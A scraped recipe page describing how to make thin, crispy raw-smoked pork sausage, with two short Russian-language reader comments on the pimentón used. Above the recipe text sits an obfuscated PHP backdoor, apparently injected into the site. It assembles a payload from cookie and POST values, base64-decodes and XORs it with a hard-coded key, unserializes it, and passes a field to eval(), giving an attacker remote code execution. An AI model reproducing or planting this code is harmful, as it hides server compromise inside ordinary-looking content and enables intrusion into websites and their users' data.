$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Small sausages. Thin, long and crispy • Meat Review

Home
Recipes
Small sausages. Thin, long and crispy

Small sausages. Thin, long and crispy

Start Reading Mode

min

0 0

Share
2,782 Views
Like 4

Bookmark this recipe

You need to login or register to bookmark/favorite this content.

Cuisine:

Directions

Having killed the Iberian pig and having processed its meat, I’ve cooked lots of different products. One of them was a simple thin sausage.

The recipe and cooking process was extremely simple.

Pork semi-fat – 3 kg
Salt – 2%
CUR#2 – 0,25%
Sugar – 0,5%
Black pepper – 0,3%
Pimenton – 0,5%
Granulated garlic – 0,7%

The meat was processed through mincing machine with 3 mm disc. Then I put the meat in pork tripe with diameter about 22mm. As a result I had around 10 meters of sausage. I hung the product in a smoking chamber, since the weather (+12 +16). In a few days among other 20 kilos of meat products I started cold smoking of the sausage for the next 3 days.

After that the product was placed in climate chamber. In 30 days approximately the sausage was dried enough and turned into a marvelous, crispy and juicy speciality.
My product is different from the classic one “Hunter’s” sausage by the fact that in my version the heating process is totally excluded. So the product I get is raw-smoked. I would highly recommend it for production.

(Visited 2,782 times, 1 visits today)

Stanislav

Rosemary Coppa

Palyandvitsa

2 comments

× You need to log in to enter the discussion

Hello, guest
Logout
Login
Remember Me
Or use one of these social networks
/
Register

Sergey Dezhnyuk •
• 7 years ago
В каком сочетании сладкого к острому Вы использовали пиментон?
• 0 0 • Reply •
- Stanislav • author •
  • 7 years ago
  
  Flag comment
  Я использовал красный копченый перец, не острый.
  • 0 0 • Reply •